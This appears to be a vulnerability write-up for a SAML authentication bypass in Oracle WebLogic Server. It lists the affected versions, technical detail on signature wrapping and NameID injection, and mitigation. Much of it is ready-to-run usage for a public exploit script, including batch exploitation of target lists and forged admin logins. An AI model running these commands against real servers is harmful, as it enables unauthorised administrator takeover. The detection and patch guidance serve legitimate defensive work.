CVE‑2026‑60206: Oracle WebLogic Server SAML Authentication Bypass (CVSS 9.9) – Full POC

Vulnerability Overview

CVE-2026-60206 is a SAML authentication bypass in Oracle WebLogic Server Core. A low‑privilege attacker can obtain administrator access to the WebLogic console without valid credentials. CVSS v3.1 score is 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). The flaw resides in the SAML Service Provider component, which fails to correctly validate XML signatures.

Affected Versions

12.2.1.4.0

14.1.1.0.0

14.1.2.0.0

15.1.1.0.0

POC Acquisition and Setup

Clone the public proof‑of‑concept repository and install Python dependencies.

git clone https://github.com/imbas007/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt

Dependencies: requests – HTTP communication xml – SAML XML construction and manipulation lxml – Advanced XML processing

Usage Examples

Single‑target detection (identify version and SAML endpoint):

python3 CVE-2026-60206-exploit.py -t https://target:7002 --detect

Batch detection:

python3 CVE-2026-60206-exploit.py -l targets.txt -o results.json

Combined detection and exploitation (recommended for speed):

python3 CVE-2026-60206-exploit.py -l targets.txt --exploit --no-verify -T 30 -o results.json

Attack mode examples:

# combo mode: XSW + Unsigned + NameID (recommended)
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode combo -u admin -v
# XSW only
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode xsw -u weblogic
# Unsigned assertion injection
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode unsigned -u admin
# All modes with proxy
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all --proxy http://127.0.0.1:8080 --no-verify

Supported Attack Modes

unsigned : Unsigned SAML assertion injection

xsw : XML Signature Wrapping (four variants)

nameid : NameID manipulation / comment injection

combo : Combined XSW + Unsigned + NameID (recommended)

audience : AudienceRestriction bypass

conditions : Time/validity condition bypass

replay : SAML response replay

all : All attack modes

Technical Details of the Bypass

The SAML SP component does not correctly verify the integrity or reference of the XML signature, enabling three exploitation techniques:

XML Signature Wrapping (XSW) : forged elements are inserted while preserving a valid signature, causing the verifier to trust malicious assertion content.

Unsigned Assertion Injection : configurations that accept unsigned Assertion elements allow attackers to forge user identities.

NameID Injection : special characters or XML comments injected into the NameID field disrupt parsing logic and bypass format checks.

Detection Guidance

Verify the WebLogic version and the presence of the SAML endpoint:

# Verify WebLogic version
curl -k https://target:7002/console/login/LoginForm.jsp | grep -i weblogic
# Check for SAML endpoint (usually under /saml2/)
curl -k https://target:7002/saml2/ -I

Mitigation

Oracle released a critical CPU in July 2026. Affected users should upgrade to the patched version or later.

Oracle security advisory: https://www.oracle.com/security-alerts/cpujul2026.html NVD entry:

https://nvd.nist.gov/vuln/detail/CVE-2026-60206